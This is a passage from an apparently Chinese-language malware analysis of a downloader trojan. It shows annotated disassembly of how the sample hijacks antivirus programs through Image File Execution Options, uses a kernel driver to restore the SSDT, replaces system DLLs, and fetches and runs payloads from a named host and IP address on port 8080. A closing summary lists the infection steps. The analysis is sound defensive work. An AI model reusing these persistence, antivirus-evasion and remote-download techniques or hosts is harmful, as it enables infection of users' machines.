  150. 003C462D        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  151. 003C4633        >add esp, 10
  152. 003C4636        >lea eax, dword ptr [ebp-FCC]
  153. 003C463C        >push eax                             ; /pHandle
  154. 003C463D        >push 2001F                           ; |Access = KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|20000
  155. 003C4642        >push 0                               ; |Reserved = 0
  156. 003C4644        >lea eax, dword ptr [ebp-13D0]        ; |
  157. 003C464A        >push eax                             ; |Subkey
  158. 003C464B        >push 80000002                        ; |hKey = HKEY_LOCAL_MACHINE
  159. 003C4650        >call dword ptr [<&ADVAPI32.RegOpenKe>; /RegOpenKeyExA
  160. 003C4656        >push 4                               ; /BufSize = 4
  161. 003C4658        >lea eax, dword ptr [ebp-FD0]         ; |
  162. 003C465E        >push eax                             ; |Buffer
  163. 003C465F        >push 4                               ; |ValueType = REG_DWORD
  164. 003C4661        >push 0                               ; |Reserved = 0
  165. 003C4663        >push 003C566C                        ; |ValueName = "Start"
  166. 003C4668        >push dword ptr [ebp-FCC]             ; |hKey
  167. 003C466E        >call dword ptr [<&ADVAPI32.RegSetVal>; /RegSetValueExA
  168. 003C4674        >push dword ptr [ebp-FCC]             ; /hKey
  169. 003C467A        >call dword ptr [<&ADVAPI32.RegCloseK>; /RegCloseKey
  170. 003C4680        >jmp short 003C4687
  171. 003C4682        >jmp 003C45A5
  172. 003C4687        >push 0                               ; /hTemplateFile = NULL
  173. 003C4689        >push 80                              ; |Attributes = NORMAL
  174. 003C468E        >push 3                               ; |Mode = OPEN_EXISTING
  175. 003C4690        >push 0                               ; |pSecurity = NULL
  176. 003C4692        >push 1                               ; |ShareMode = FILE_SHARE_READ
  177. 003C4694        >push C0000000                        ; |Access = GENERIC_READ|GENERIC_WRITE
  178. 003C4699        >push 003C5674                        ; |FileName = "//./Accopt"
  179. 003C469E        >call dword ptr [<&KERNEL32.CreateFil>; /CreateFileA
  180. 003C46A4        >mov dword ptr [ebp-10], eax
  181. 003C46A7        >cmp dword ptr [ebp-10], -1
  182. 003C46AB        >jnz short 003C46B7
  183. 003C46AD        >jmp 003C48A2
  184. 003C46B2        >jmp 003C48A2
  185. 003C46B7        >cmp dword ptr [ebp-4], 0
  186. 003C46BB        >jnz 003C4755
  187. 003C46C1        >and dword ptr [ebp-14DC], 0
  188. 003C46C8        >and dword ptr [ebp-14E0], 0
  189. 003C46CF        >push 104                             ; /n = 104 (260.)
  190. 003C46D4        >push 0                               ; |c = 00
  191. 003C46D6        >lea eax, dword ptr [ebp-14D8]        ; |
  192. 003C46DC        >push eax                             ; |s
  193. 003C46DD        >call             ; /memset
  194. 003C46E2        >add esp, 0C
  195. 003C46E5        >lea eax, dword ptr [ebp-14D8]
  196. 003C46EB        >push eax
  197. 003C46EC        >call 003C10A6
  198. 003C46F1        >mov dword ptr [ebp-14DC], eax
  199. 003C46F7        >lea eax, dword ptr [ebp-14D8]
  200. 003C46FD        >push eax                             ; /FileName
  201. 003C46FE        >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  202. 003C4704        >mov dword ptr [ebp-14E0], eax
  203. 003C470A        >push 003C5680                        ; /ProcNameOrOrdinal = "MmGetSystemRoutineAddress"
  204. 003C470F        >push dword ptr [ebp-14E0]            ; |hModule
  205. 003C4715        >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  206. 003C471B        >mov ecx, dword ptr [ebp-14DC]
  207. 003C4721        >sub ecx, dword ptr [ebp-14E0]
  208. 003C4727        >add eax, ecx
  209. 003C4729        >mov dword ptr [ebp-4], eax
  210. 003C472C        >push dword ptr [ebp-14E0]            ; /hLibModule
  211. 003C4732        >call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  212. 003C4738        >cmp dword ptr [ebp-4], 0
  213. 003C473C        >jnz short 003C4755
  214. 003C473E        >push dword ptr [ebp-10]              ; /hObject
  215. 003C4741        >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  216. 003C4747        >or dword ptr [ebp-10], FFFFFFFF
  217. 003C474B        >jmp 003C48A2
  218. 003C4750        >jmp 003C48A2
  219. 003C4755        >mov eax, dword ptr [ebp-4]
  220. 003C4758        >mov dword ptr [ebp-1C], eax
  221. 003C475B        >push 0                               ; /pOverlapped = NULL
  222. 003C475D        >lea eax, dword ptr [ebp-14]          ; |
  223. 003C4760        >push eax                             ; |pBytesReturned
  224. 003C4761        >push 4                               ; |OutBufferSize = 4
  225. 003C4763        >lea eax, dword ptr [ebp-20]          ; |
  226. 003C4766        >push eax                             ; |OutBuffer
  227. 003C4767        >push 4                               ; |InBufferSize = 4
  228. 003C4769        >lea eax, dword ptr [ebp-1C]          ; |
  229. 003C476C        >push eax                             ; |InBuffer
  230. 003C476D        >push 222193                          ; |IoControlCode = 222193
  231. 003C4772        >push dword ptr [ebp-10]              ; |hDevice
  232. 003C4775        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  233. 003C477B        >cmp dword ptr [3C6054], 0
  234. 003C4782        >je short 003C47C8
  235. 003C4784        >mov eax, dword ptr [ebp-1C]
  236. 003C4787        >cmp eax, dword ptr [ebp-4]
  237. 003C478A        >je short 003C47C8
  238. 003C478C        >cmp dword ptr [ebp-20], 0
  239. 003C4790        >je short 003C47C8
  240. 003C4792        >lea eax, dword ptr [ebp-1DA0]
  241. 003C4798        >push eax
  242. 003C4799        >push dword ptr [ebp-1C]
  243. 003C479C        >push dword ptr [ebp-20]
  244. 003C479F        >call 003C1151
  245. 003C47A4        >push 0                               ; /pOverlapped = NULL
  246. 003C47A6        >lea eax, dword ptr [ebp-14]          ; |
  247. 003C47A9        >push eax                             ; |pBytesReturned
  248. 003C47AA        >push 8C0                             ; |OutBufferSize = 8C0 (2240.)
  249. 003C47AF        >lea eax, dword ptr [ebp-1DA0]        ; |
  250. 003C47B5        >push eax                             ; |OutBuffer
  251. 003C47B6        >push 0                               ; |InBufferSize = 0
  252. 003C47B8        >push 0                               ; |InBuffer = NULL
  253. 003C47BA        >push 22221F                          ; |IoControlCode = 22221F
  254. 003C47BF        >push dword ptr [ebp-10]              ; |hDevice
  255. 003C47C2        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  256. 003C47C8        >mov dword ptr [ebp-8], 003C6350
  257. 003C47CF        >mov eax, dword ptr [ebp-8]
  258. 003C47D2        >movsx eax, byte ptr [eax]
  259. 003C47D5        >test eax, eax
  260. 003C47D7        >je 003C489A
  261. 003C47DD        >push 400                             ; /n = 400 (1024.)
  262. 003C47E2        >push 0                               ; |c = 00
  263. 003C47E4        >lea eax, dword ptr [ebp-F40]         ; |
  264. 003C47EA        >push eax                             ; |s
  265. 003C47EB        >call             ; /memset
  266. 003C47F0        >add esp, 0C
  267. 003C47F3        >push dword ptr [ebp-8]               ; /<%s>
  268. 003C47F6        >push dword ptr [3C6008]              ; |<%s> = "SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options"
  269. 003C47FC        >push dword ptr [3C6000]              ; |<%s> = "/Registry/Machine"
  270. 003C4802        >push 003C569C                        ; |Format = "%s/%s/%s"
  271. 003C4807        >lea eax, dword ptr [ebp-F40]         ; |
  272. 003C480D        >push eax                             ; |s
  273. 003C480E        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  274. 003C4814        >add esp, 14
  275. 003C4817        >lea eax, dword ptr [ebp-F40]
  276. 003C481D        >push eax                             ; /String
  277. 003C481E        >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  278. 003C4824        >mov dword ptr [ebp-18], eax
  279. 003C4827        >push 800                             ; /n = 800 (2048.)
  280. 003C482C        >push 0                               ; |c = 00
  281. 003C482E        >lea eax, dword ptr [ebp-820]         ; |
  282. 003C4834        >push eax                             ; |s
  283. 003C4835        >call             ; /memset
  284. 003C483A        >add esp, 0C
  285. 003C483D        >push dword ptr [ebp-18]              ; /WideBufSize
  286. 003C4840        >lea eax, dword ptr [ebp-820]         ; |
  287. 003C4846        >push eax                             ; |WideCharBuf
  288. 003C4847        >push dword ptr [ebp-18]              ; |StringSize
  289. 003C484A        >lea eax, dword ptr [ebp-F40]         ; |
  290. 003C4850        >push eax                             ; |StringToMap
  291. 003C4851        >push 0                               ; |Options = 0
  292. 003C4853        >push 0                               ; |CodePage = CP_ACP
  293. 003C4855        >call dword ptr [<&KERNEL32.MultiByte>; /MultiByteToWideChar
  294. 003C485B        >push 0                               ; /pOverlapped = NULL
  295. 003C485D        >lea eax, dword ptr [ebp-14]          ; |
  296. 003C4860        >push eax                             ; |pBytesReturned
  297. 003C4861        >push 0                               ; |OutBufferSize = 0
  298. 003C4863        >push 0                               ; |OutBuffer = NULL
  299. 003C4865        >mov eax, dword ptr [ebp-18]          ; |
  300. 003C4868        >lea eax, dword ptr [eax+eax+2]       ; |
  301. 003C486C        >push eax                             ; |InBufferSize
  302. 003C486D        >lea eax, dword ptr [ebp-820]         ; |
  303. 003C4873        >push eax                             ; |InBuffer
  304. 003C4874        >push 22245C                          ; |IoControlCode = 22245C
  305. 003C4879        >push dword ptr [ebp-10]              ; |hDevice
  306. 003C487C        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  307. 003C4882        >push dword ptr [ebp-8]               ; /String
  308. 003C4885        >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  309. 003C488B        >mov ecx, dword ptr [ebp-8]
  310. 003C488E        >lea eax, dword ptr [ecx+eax+1]
  311. 003C4892        >mov dword ptr [ebp-8], eax
  312. 003C4895        >jmp 003C47CF
  313. 003C489A        >push dword ptr [ebp-10]
  314. 003C489D        >call 003C42BA
  315. 003C48A2        >push 0                               ; /pThreadId = NULL
  316. 003C48A4        >push 0                               ; |CreationFlags = 0
  317. 003C48A6        >push 0                               ; |pThreadParm = NULL
  318. 003C48A8        >push 003C27B7                        ; |ThreadFunction = appmgmts.003C27B7
  319. 003C48AD        >push 0                               ; |StackSize = 0
  320. 003C48AF        >push 0                               ; |pSecurity = NULL
  321. 003C48B1        >call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                        创建线程2
  322. 003C48B7        >cmp dword ptr [ebp-10], -1
  323. 003C48BB        >je short 003C48D7
  324. 003C48BD        >xor eax, eax
  325. 003C48BF        >inc eax
  326. 003C48C0        >je short 003C48D7
  327. 003C48C2        >push dword ptr [ebp-10]       
  328. 003C48C5        >call 003C42BA                        不断循环检测服务是否启动，如果服务被关闭，则启动。并对绝大多数杀毒软件作镜像劫持       
  329. 003C48CA        >push 5DC
  330. 003C48CF        >call dword ptr [ebp-92C]                sleep函数
  331. 003C48D5        >jmp short 003C48BD
  332. 003C48D7        >xor eax, eax
  333. 003C48D9        >leave
  334. 003C48DA        >retn 4
复制代码

总体流程结束
------------------------------------------------------------------
        进入线程 2，代码如下：

  1. 003C27B7         >push ebp
  2. 003C27B8         >mov ebp, esp
  3. 003C27BA         >sub esp, 90
  4. 003C27C0         >and dword ptr [ebp-20], 0
  5. 003C27C4         >and dword ptr [ebp-1C], 0
  6. 003C27C8         >and dword ptr [ebp-14], 0
  7. 003C27CC         >and dword ptr [ebp-C], 0
  8. 003C27D0         >and dword ptr [ebp-18], 0
  9. 003C27D4         >and dword ptr [ebp-8], 0
  10. 003C27D8         >and dword ptr [ebp-64], 0
  11. 003C27DC         >and dword ptr [ebp-10], 0
  12. 003C27E0         >and dword ptr [ebp-4], 0
  13. 003C27E4         >push 003C5474                        ; /FileName = "urlmon.dll"  加载urlmon.dll模块
  14. 003C27E9         >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  15. 003C27EF         >mov dword ptr [ebp-64], eax
  16. 003C27F2         >push 003C5480                        ; /ProcNameOrOrdinal = "URLDownloadToFileA" 获取该函数地址
  17. 003C27F7         >push dword ptr [ebp-64]              ; |hModule
  18. 003C27FA         >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  19. 003C2800         >mov dword ptr [3C7584], eax
  20. 003C2805         >push 003C5494                        ; /FileName = "Wininet.dll"
  21. 003C280A         >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  22. 003C2810         >mov dword ptr [ebp-10], eax
  23. 003C2813         >push 003C54A0                        ; /ProcNameOrOrdinal = "GetUrlCacheEntryInfoA"
  24. 003C2818         >push dword ptr [ebp-10]              ; |hModule
  25. 003C281B         >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  26. 003C2821         >mov dword ptr [ebp-4], eax
  27. 003C2824         >push 0
  28. 003C2826         >push dword ptr [3C600C]
  29. 003C282C         >push 200
  30. 003C2831         >push 003C6058                        ;  ASCII "up.nba1001.com"
  31. 003C2836         >call                                 字符处理函数
  32. 003C283B         >push 0
  33. 003C283D         >push dword ptr [3C600C]
  34. 003C2843         >push 30
  35. 003C2845         >push 003C625C                        ;  ASCII "down"
  36. 003C284A         >call
  37. 003C284F         >push 0
  38. 003C2851         >push dword ptr [3C600C]
  39. 003C2857         >push 5C
  40. 003C2859         >push 003C6290                        ;  UNICODE "02"
  41. 003C285E         >call
  42. 003C2863         >call 003C2742
  43. 003C2868         >push 003C54B8                        ;  ASCII "Explorer.exe"
  44. 003C286D         >call                                 关闭Explorer.exe进程
  45. 003C2872         >mov dword ptr [ebp-C], eax
  46. 003C2875         >cmp dword ptr [ebp-C], 0
  47. 003C2879         >je short 003C28AD
  48. 003C287B         >and dword ptr [ebp-68], 0
  49. 003C287F         >push dword ptr [ebp-C]               ; /ProcessId
  50. 003C2882         >push 0                               ; |Inheritable = FALSE
  51. 003C2884         >push 400                             ; |Access = QUERY_INFORMATION
  52. 003C2889         >call dword ptr [<&KERNEL32.OpenProce>; /OpenProcess
  53. 003C288F         >mov dword ptr [ebp-68], eax
  54. 003C2892         >lea eax, dword ptr [ebp-8]
  55. 003C2895         >push eax                             ; /phToken
  56. 003C2896         >push 0F01FF                          ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
  57. 003C289B         >push dword ptr [ebp-68]              ; |hProcess
  58. 003C289E         >call dword ptr [<&ADVAPI32.OpenProce>; /OpenProcessToken
  59. 003C28A4         >push dword ptr [ebp-68]              ; /hObject
  60. 003C28A7         >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  61. 003C28AD         >mov dword ptr [ebp-20], 003C6290
  62. 003C28B4         >xor eax, eax
  63. 003C28B6         >inc eax
  64. 003C28B7         >je 003C2B2C
  65. 003C28BD         >mov dword ptr [ebp-6C], 1
  66. 003C28C4         >push 40                              ; /n = 40 (64.)
  67. 003C28C6         >push 0                               ; |c = 00
  68. 003C28C8         >lea eax, dword ptr [ebp-60]          ; |
  69. 003C28CB         >push eax                             ; |s
  70. 003C28CC         >call             ; /memset
  71. 003C28D1         >add esp, 0C
  72. 003C28D4         >push 0
  73. 003C28D6         >push 40
  74. 003C28D8         >lea eax, dword ptr [ebp-60]
  75. 003C28DB         >push eax
  76. 003C28DC         >lea eax, dword ptr [ebp-14]
  77. 003C28DF         >push eax
  78. 003C28E0         >lea eax, dword ptr [ebp-1C]
  79. 003C28E3         >push eax
  80. 003C28E4         >push 003C6058
  81. 003C28E9         >call 003C22F0                                关键call 3，查看网络连接
  82. 003C28EE         >test eax, eax
  83. 003C28F0         >jnz short 003C28F7
  84. 003C28F2         >jmp 003C2B2C
  85. 003C28F7         >mov eax, dword ptr [ebp-20]
  86. 003C28FA         >movsx eax, byte ptr [eax]
  87. 003C28FD         >test eax, eax
  88. 003C28FF         >je 003C2B1F
  89. 003C2905         >and dword ptr [ebp-70], 0
  90. 003C2909         >push 400                             ; /n = 400 (1024.)
  91. 003C290E         >push 0                               ; |c = 00
  92. 003C2910         >push 003C6E60                        ; |s = appmgmts.003C6E60
  93. 003C2915         >call             ; /memset
  94. 003C291A         >add esp, 0C
  95. 003C291D         >push 104                             ; /n = 104 (260.)
  96. 003C2922         >push 0                               ; |c = 00
  97. 003C2924         >push 003C7260                        ; |s = appmgmts.003C7260
  98. 003C2929         >call             ; /memset
  99. 003C292E         >add esp, 0C
  100. 003C2931         >push dword ptr [ebp-20]              ; /<%s>
  101. 003C2934         >push 003C625C                        ; |<%s> = "?掫h?
  102. 003C2939         >push dword ptr [3C6050]              ; |<%d> = 1F90 (8080.)
  103. 003C293F         >lea eax, dword ptr [ebp-60]          ; |
  104. 003C2942         >push eax                             ; |<%s>
  105. 003C2943         >push 003C54C8                        ; |Format = "http://%s:%d/%s/%s.exe"
  106. 003C2948         >push 003C6E60                        ; |s = appmgmts.003C6E60
  107. 003C294D         >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA                        字符连接，得到下载链接
  108. 003C2953         >add esp, 18
  109. 003C2956         >call 003C176E                                获得一个随机数字串
  110. 003C295B         >push eax                             ; /<%d>
  111. 003C295C         >push dword ptr [ebp-20]              ; |<%s>
  112. 003C295F         >push 003C7368                        ; |<%s> = "C:/DOCUME~1/safe/LOCALS~1/Temp/"
  113. 003C2964         >push 003C54E0                        ; |Format = "%s%s%d.exe"
  114. 003C2969         >push 003C7260                        ; |s = appmgmts.003C7260
  115. 003C296E         >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA                        字符连接，得到下载到本地临时目录的文件名，本机是C:/LOCALS~1/Temp/01139.exe
  116. 003C2974         >add esp, 14
  117. 003C2977         >and dword ptr [ebp-74], 0
  118. 003C297B         >jmp short 003C2984
  119. 003C297D         >mov eax, dword ptr [ebp-74]
  120. 003C2980         >inc eax
  121. 003C2981         >mov dword ptr [ebp-74], eax
  122. 003C2984         >cmp dword ptr [ebp-74], 2
  123. 003C2988         >jge 003C2AE1
  124. 003C298E         >and dword ptr [ebp-7C], 0
  125. 003C2992         >and dword ptr [ebp-80], 0
  126. 003C2996         >and dword ptr [ebp-78], 0
  127. 003C299A         >push 0                               ; /pThreadId = NULL
  128. 003C299C         >push 0                               ; |CreationFlags = 0
  129. 003C299E         >push 0                               ; |pThreadParm = NULL
  130. 003C29A0         >push 003C278F                        ; |ThreadFunction = appmgmts.003C278F
  131. 003C29A5         >push 0                               ; |StackSize = 0
  132. 003C29A7         >push 0                               ; |pSecurity = NULL
  133. 003C29A9         >call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                        创建线程3，下载病毒文件到临时目录。
  134. 003C29AF         >mov dword ptr [ebp-80], eax
  135. 003C29B2         >push 1F40                            ; /Timeout = 8000. ms
  136. 003C29B7         >push dword ptr [ebp-80]              ; |hObject
  137. 003C29BA         >call dword ptr [<&KERNEL32.WaitForSi>; /WaitForSingleObject
  138. 003C29C0         >mov dword ptr [ebp-78], eax
  139. 003C29C3         >cmp dword ptr [ebp-78], 102
  140. 003C29CA         >jnz short 003C29D7
  141. 003C29CC         >push 1                               ; /ExitCode = 1
  142. 003C29CE         >push dword ptr [ebp-80]              ; |hThread
  143. 003C29D1         >call dword ptr [<&KERNEL32.Terminate>; /TerminateThread
  144. 003C29D7         >lea eax, dword ptr [ebp-7C]
  145. 003C29DA         >push eax                             ; /pExitCode
  146. 003C29DB         >push dword ptr [ebp-80]              ; |hThread
  147. 003C29DE         >call dword ptr [<&KERNEL32.GetExitCo>; /GetExitCodeThread
  148. 003C29E4         >push dword ptr [ebp-80]              ; /hObject
  149. 003C29E7         >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  150. 003C29ED         >cmp dword ptr [ebp-7C], 0
  151. 003C29F1         >jnz 003C2AB8
  152. 003C29F7         >and dword ptr [ebp-84], 0
  153. 003C29FE         >lea eax, dword ptr [ebp-84]
  154. 003C2A04         >push eax
  155. 003C2A05         >push 0
  156. 003C2A07         >push 003C6E60
  157. 003C2A0C         >call dword ptr [ebp-4]
  158. 003C2A0F         >cmp dword ptr [ebp-84], 0
  159. 003C2A16         >je short 003C2A7B
  160. 003C2A18         >push dword ptr [ebp-84]
  161. 003C2A1E         >call
  162. 003C2A23         >pop ecx
  163. 003C2A24         >mov dword ptr [ebp-8C], eax
  164. 003C2A2A         >mov eax, dword ptr [ebp-8C]
  165. 003C2A30         >mov dword ptr [ebp-88], eax
  166. 003C2A36         >lea eax, dword ptr [ebp-84]
  167. 003C2A3C         >push eax
  168. 003C2A3D         >push dword ptr [ebp-88]
  169. 003C2A43         >push 003C6E60
  170. 003C2A48         >call dword ptr [ebp-4]
  171. 003C2A4B         >mov eax, dword ptr [ebp-88]
  172. 003C2A51         >push dword ptr [eax+8]               ; /FileName
  173. 003C2A54         >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  174. 003C2A5A         >cmp dword ptr [ebp-88], 0
  175. 003C2A61         >je short 003C2A7B
  176. 003C2A63         >mov eax, dword ptr [ebp-88]
  177. 003C2A69         >mov dword ptr [ebp-90], eax
  178. 003C2A6F         >push dword ptr [ebp-90]
  179. 003C2A75         >call
  180. 003C2A7A         >pop ecx
  181. 003C2A7B         >push 003C7260
  182. 003C2A80         >call 003C26DA                        创建C:/LOCALS~1/Temp/01139.exe文件
  183. 003C2A85         >cmp eax, 1
  184. 003C2A88         >jnz short 003C2AA6
  185. 003C2A8A         >and dword ptr [ebp-18], 0
  186. 003C2A8E         >mov dword ptr [ebp-70], 1
  187. 003C2A95         >push dword ptr [ebp-8]
  188. 003C2A98         >push 003C7260
  189. 003C2A9D         >call 003C25F4                        执行下载回来的文件01139.exe
  190. 003C2AA2         >jmp short 003C2AE1
  191. 003C2AA4         >jmp short 003C2AB8
  192. 003C2AA6         >mov eax, dword ptr [ebp-18]
  193. 003C2AA9         >inc eax
  194. 003C2AAA         >mov dword ptr [ebp-18], eax
  195. 003C2AAD         >push 003C7260                        ; /FileName = ""
  196. 003C2AB2         >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA  删除C:/LOCALS~1/Temp/01139.exe文件
  197. 003C2AB8         >cmp dword ptr [ebp-7C], 800C0006
  198. 003C2ABF         >jnz short 003C2AD1
  199. 003C2AC1         >mov dword ptr [ebp-70], 1
  200. 003C2AC8         >mov eax, dword ptr [ebp-18]
  201. 003C2ACB         >inc eax
  202. 003C2ACC         >mov dword ptr [ebp-18], eax
  203. 003C2ACF         >jmp short 003C2AE1
  204. 003C2AD1         >push 0BB8                            ; /Timeout = 3000. ms
  205. 003C2AD6         >call dword ptr [<&KERNEL32.Sleep>]   ; /Sleep
  206. 003C2ADC         >jmp 003C297D
  207. 003C2AE1         >cmp dword ptr [ebp-18], 3
  208. 003C2AE5         >jb short 003C2AF0
  209. 003C2AE7         >mov dword ptr [ebp-6C], 1
  210. 003C2AEE         >jmp short 003C2B1F
  211. 003C2AF0         >cmp dword ptr [ebp-70], 0
  212. 003C2AF4         >jnz short 003C2AFC
  213. 003C2AF6         >and dword ptr [ebp-6C], 0
  214. 003C2AFA         >jmp short 003C2B1F
  215. 003C2AFC         >push dword ptr [ebp-20]              ; /String
  216. 003C2AFF         >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  217. 003C2B05         >mov ecx, dword ptr [ebp-20]
  218. 003C2B08         >lea eax, dword ptr [ecx+eax+1]
  219. 003C2B0C         >mov dword ptr [ebp-20], eax
  220. 003C2B0F         >push 1F40                            ; /Timeout = 8000. ms
  221. 003C2B14         >call dword ptr [<&KERNEL32.Sleep>]   ; /Sleep
  222. 003C2B1A         >jmp 003C28F7
  223. 003C2B1F         >cmp dword ptr [ebp-6C], 1
  224. 003C2B23         >jnz short 003C2B27
  225. 003C2B25         >jmp short 003C2B2C
  226. 003C2B27         >jmp 003C28B4
  227. 003C2B2C         >push dword ptr [ebp-64]              ; /hLibModule
  228. 003C2B2F         >call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  229. 003C2B35         >xor eax, eax
  230. 003C2B37         >leave
  231. 003C2B38         >retn 4
复制代码

-----------------
        进入线程3，代码如下：

  1. 003C278F        />push ebp
  2. 003C2790        |>mov ebp, esp
  3. 003C2792        |>push ecx
  4. 003C2793        |>and [local.1], 0
  5. 003C2797        |>push 0
  6. 003C2799        |>push 0
  7. 003C279B        |>push 003C7260                        ;  ASCII "C:/DOCUME~1/safe/LOCALS~1/Temp/01139.exe"
  8. 003C27A0        |>push 003C6E60                        ;  ASCII "http://67.159.35.85:8080/down/0.exe"
  9. 003C27A5        |>push 0
  10. 003C27A7        |>call dword ptr [3C7584]              ;  urlmon.URLDownloadToFileA
  11. 003C27AD        |>mov [local.1], eax
  12. 003C27B0        |>mov eax, [local.1]
  13. 003C27B3        |>leave
  14. 003C27B4        />retn 4
复制代码

总结下流程：
1，比较模块基址和3C0000h,用于判断自身是exe还是dll文件。
2，是exe，创建C:/IOSYS.ini配置文件,加载sfc.dll,获得去除文件保护属性的导出函数地址，感染C:/WINDOWS/system32/appmgmts.dll，
qmgr.dll，检查文件appmgmts.dll是否存在，若不存在，则创建C:/System32/appmgmts.dll。若找到appmgmts.dll，则去掉该文件保护属性，
释放病毒动态链接库并命名为appmgmts.dll，替换系统正常文件%SystemRoot%/System32/appmgmts.dll。并替换文件
C:/system32/dllcache/appmgmts.dll.
3，启动"AppMgmt"服务，通过该服务加载C:/System32/appmgmts.dll。
4，读取C:/IOSYS.ini配置文件病毒路径，删除病毒主体。
5，创建线程，创建一个名为Accopt的服务，并加载。检测进程avp.exe等安全软件是否存在，如果找到，将其终止,并恢复SSDT。
6，创建线程,访问目标网址，下载大量病毒到本地运行。
7，不断循环检测服务是否启动，如果服务被关闭，则启动。并对绝大多数杀毒软件作镜像劫持。
可爱的结束符

你可能感兴趣的:(下载者DownLoader.Win32.Undef分析)

  • 机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习python
    一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
  • 地推话术，如何应对地推过程中家长的拒绝 校师学
    相信校长们在做地推的时候经常遇到这种情况：市场专员反馈家长不接单，咨询师反馈难以邀约这些家长上门，校区地推疲软，招生难。为什么？仅从地推层面分析，一方面因为家长受到的信息轰炸越来越多，对信息越来越“免疫”；而另一方面地推人员的专业能力和营销话术没有提高，无法应对家长的拒绝，对有意向的家长也不知如何跟进，眼睁睁看着家长走远；对于家长的疑问，更不知道如何有技巧地回答，机会白白流失。由于回答没技巧和专业
  • 扫地机类清洁产品之直流无刷电机控制 悟空胆好小 清洁服务机器人单片机人工智能
    扫地机类清洁产品之直流无刷电机控制1.1前言扫地机产品有很多的电机控制，滚刷电机1个，边刷电机1-2个，清水泵电机，风机一个，部分中高端产品支持抹布功能，也就是存在抹布盘电机，还有追觅科沃斯石头等边刷抬升电机，滚刷抬升电机等的，这些电机有直流有刷电机，直接无刷电机，步进电机，电磁阀，挪动泵等不同类型。电机的原理，驱动控制方式也不行。接下来一段时间的几个文章会作个专题分析分享。直流有刷电机会自动持续
  • 店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码 说私域 人工智能小程序
    摘要：本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合，阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇，提升了用户信任感、拓展了营销渠道，并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展，社区团购作为一种新兴的商业模式，在满足消费者日常需
  • 抖音乐买买怎么加入赚钱?赚钱方法是什么 测评君高省
    你会在抖音买东西吗?如果会，那么一定要免费注册一个乐买买，抖音直播间，橱窗，小视频里的小黄车买东西都可以返佣金!省下来都是自己的，分享还可以赚钱乐买买是好省旗下的抖音返佣平台，乐买买分析社交电商的价值，乐买买属于今年难得的副业项目风口机会，2019年错过做好省的搞钱的黄金时期，那么2022年千万别再错过乐买买至于我为何转到高省呢？当然是高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个自
  • Python数据分析与可视化实战指南 William数据分析 pythonpython数据
    在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
  • Pyecharts数据可视化大屏：打造沉浸式数据分析体验 我的运维人生 信息可视化数据分析数据挖掘运维开发技术共享
    Pyecharts数据可视化大屏：打造沉浸式数据分析体验在当今这个数据驱动的时代，如何将海量数据以直观、生动的方式展现出来，成为了数据分析师和企业决策者关注的焦点。Pyecharts，作为一款基于Python的开源数据可视化库，凭借其丰富的图表类型、灵活的配置选项以及高度的定制化能力，成为了构建数据可视化大屏的理想选择。本文将深入探讨如何利用Pyecharts打造数据可视化大屏，并通过实际代码案例
  • 18-115 一切思考不能有效转化为行动，都TM是扯淡！ 成长时间线
